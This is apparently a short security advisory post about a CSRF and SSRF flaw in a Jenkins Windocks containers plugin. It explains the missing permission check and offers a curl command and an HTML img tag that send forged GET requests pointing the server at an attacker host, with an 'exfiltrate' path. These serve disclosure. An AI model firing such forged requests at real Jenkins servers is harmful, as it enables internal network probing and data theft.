Listen to this Post
The vulnerability in the Jenkins Start Windocks Containers Plugin (CVE-2025-XXXX) stems from a missing permission check and incorrect request type handling in a specific HTTP endpoint. The affected endpoint does not verify if a user has the necessary permissions beyond the basic Overall/Read access. Consequently, any attacker who can authenticate with this low-level privilege can submit a request to this endpoint. Furthermore, because the endpoint accepts HTTP GET requests instead of requiring the safer POST method, it becomes susceptible to Cross-Site Request Forgery (CSRF). This means an attacker can trick a logged-in Jenkins user with Overall/Read permission into visiting a malicious webpage, which then automatically sends a forged request from the user’s browser to the vulnerable Jenkins endpoint, forcing it to connect to an attacker-controlled server.
Platform: Jenkins Plugin
Version: <= 1.4
Vulnerability: CSRF
Severity: Moderate
date: 2025-10-29
Prediction: 2025-11-19
What Undercode Say:
curl -X GET 'http://jenkins-host/jenkins/pluginEndpoint?targetUrl=http://attacker-server'
<img src="http://jenkins-host/jenkins/pluginEndpoint?targetUrl=http://attacker-server/exfiltrate">
How Exploit:
An attacker creates a malicious website that hosts an HTML image tag or script. When a Jenkins administrator with Overall/Read permission browses this site, their browser automatically sends a forged GET request to the vulnerable Jenkins endpoint. This request triggers the plugin to connect to a URL specified by the attacker, potentially leading to server-side request forgery (SSRF) and interaction with internal systems.
Protection from this CVE:
Disable the plugin.
Implement network segmentation.
Await vendor patch.
Impact:
SSRF
Data Exfiltration
Internal Network Probe
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
